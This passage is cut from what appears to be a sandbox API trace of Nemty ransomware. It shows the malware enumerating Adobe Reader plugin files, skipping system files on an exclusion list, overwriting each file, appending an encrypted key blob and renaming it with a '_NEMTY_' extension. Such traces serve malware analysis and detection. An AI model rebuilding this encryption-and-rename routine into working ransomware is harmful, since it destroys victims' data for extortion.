hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CZE", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CZE", lpUsedDefaultChar=0x0) returned 9 [0191.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CZE", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CZE", lpUsedDefaultChar=0x0) returned 9 [0191.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340240 [0191.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0191.775] Sleep (dwMilliseconds=0x5) [0191.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25f58cf0, dwHighDateTime=0x1d561e8)) [0191.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25f58cf0, dwHighDateTime=0x1d561e8)) [0191.784] GetLastError () returned 0xb7 [0191.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.784] GetLastError () returned 0xb7 [0191.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.784] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.785] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.785] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0191.785] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="LQhNlTBMksr205yWog3Q1PizlhXIKVJkgRe5leTGLmiszcTKnPdD2gz3+dVu60Wc\r\nKmhO2fzZZkiPQ8gM+GWhvfCSYt8xPa6VsIOe0KPQd/3AXYbnhOFCJUld17Spw8ON\r\nWzJRoCgvACOvxk/qNSoepYiqaXZhf5zCpBr8pUAfN9Jt+l3c9FB1DHP2Kga+Jnxj\r\nuGcP1cuqiqMhpvTgstVN3FxZakFmdmXEJvi46r4T3rM0ETgNTR8+/nz0rdChxzL5\r\nGj6jb0NcZUpeKuZCA1Ogu4lmNPjHGvIGsIgGW6zh67MSjlJaRI9NX0gezhnWId4T\r\ne2f9IMap2gyngmiWlCIHFw==\r\n", pcchString=0x653e29c) returned 1 [0191.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0191.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.785] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\Flash.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\flash.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.785] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.785] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.785] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.787] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.787] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.787] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.787] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.787] CloseHandle (hObject=0x2f0) returned 1 [0191.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0191.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0191.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0191.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.788] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\Flash.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\flash.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\Flash.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\flash.cze._nemty_kgobjgd_")) returned 1 [0191.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0191.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0191.789] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.CZE", cAlternateFileName="")) returned 1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2=".") returned 1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="..") returned 1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="...") returned 1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="windows") returned -1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="$RECYCLE.BIN") returned 1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="rsa") returned -1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="NTDETECT.COM") returned -1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="ntldr") returned -1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="MSDOS.SYS") returned -1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="IO.SYS") returned 1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="boot.ini") returned 1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="boot.ini") returned 1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="ntuser.dat") returned -1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="desktop.ini") returned 1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="CONFIG.SYS") returned 1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="RECYCLER") returned -1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="BOOTSECT.BAK") returned 1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="bootmgr") returned 1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="programdata") returned -1 [0191.789] lstrcmpiW (lpString1="Mcimpp.CZE", lpString2="appdata") returned 1 [0191.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CZE", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.CZE", lpUsedDefaultChar=0x0) returned 10 [0191.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CZE", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.CZE", lpUsedDefaultChar=0x0) returned 10 [0191.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CZE", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.CZE", lpUsedDefaultChar=0x0) returned 10 [0191.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CZE", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.CZE", lpUsedDefaultChar=0x0) returned 10 [0191.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0191.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0191.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0191.790] Sleep (dwMilliseconds=0x5) [0191.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25f7ee50, dwHighDateTime=0x1d561e8)) [0191.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25f7ee50, dwHighDateTime=0x1d561e8)) [0191.800] GetLastError () returned 0x0 [0191.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.800] GetLastError () returned 0x0 [0191.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.800] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.800] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.800] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0191.800] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="D/4hRWlJOQERvBlZEe40pg63qOpkQVULAK8k0MBvu44JA5EccKQHiPDdN2dq5jI/\r\nD2djg6YjdRm99+hCl9n7gpp9eEn5vQumDCnT3T2nKdi/g8yqJs6ECwxRS21PvAvG\r\nkxgOv76pYO2lw3ygswHU1IkF4GpjdEGE6yN9/KiGFyhycIQdi/1IZ6RSoykc6C4E\r\nVWNa2f2Ps/WasTbNyrnt15E3maNFuxyceEjd+NL5vYMusVKB57VdKT7hO2ISvU6R\r\nAGu8YeOd1uj0rx+mI1i/nvBBg6W2ChfaV6gu/8h31GdVDthEh5izjRJCLm0Ca9iN\r\nwqw/yP/0xSABHk3u28ZcOA==\r\n", pcchString=0x653e29c) returned 1 [0191.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0191.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\Mcimpp.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\mcimpp.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.801] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0191.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0191.801] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.801] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0191.803] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.803] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0191.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.804] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0191.804] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.804] CloseHandle (hObject=0x2f0) returned 1 [0191.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0191.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0191.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0191.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.804] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\Mcimpp.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\mcimpp.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\Mcimpp.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\mcimpp.cze._nemty_kgobjgd_")) returned 1 [0191.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0191.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.805] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.CZE", cAlternateFileName="QUICKT~1.CZE")) returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2=".") returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="..") returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="...") returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="windows") returned -1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="$RECYCLE.BIN") returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="rsa") returned -1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="NTDETECT.COM") returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="ntldr") returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="MSDOS.SYS") returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="IO.SYS") returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="boot.ini") returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="boot.ini") returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="ntuser.dat") returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="desktop.ini") returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="CONFIG.SYS") returned 1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="RECYCLER") returned -1 [0191.805] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="BOOTSECT.BAK") returned 1 [0191.806] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="bootmgr") returned 1 [0191.806] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="programdata") returned 1 [0191.806] lstrcmpiW (lpString1="QuickTime.CZE", lpString2="appdata") returned 1 [0191.806] RtlAllocateHeap 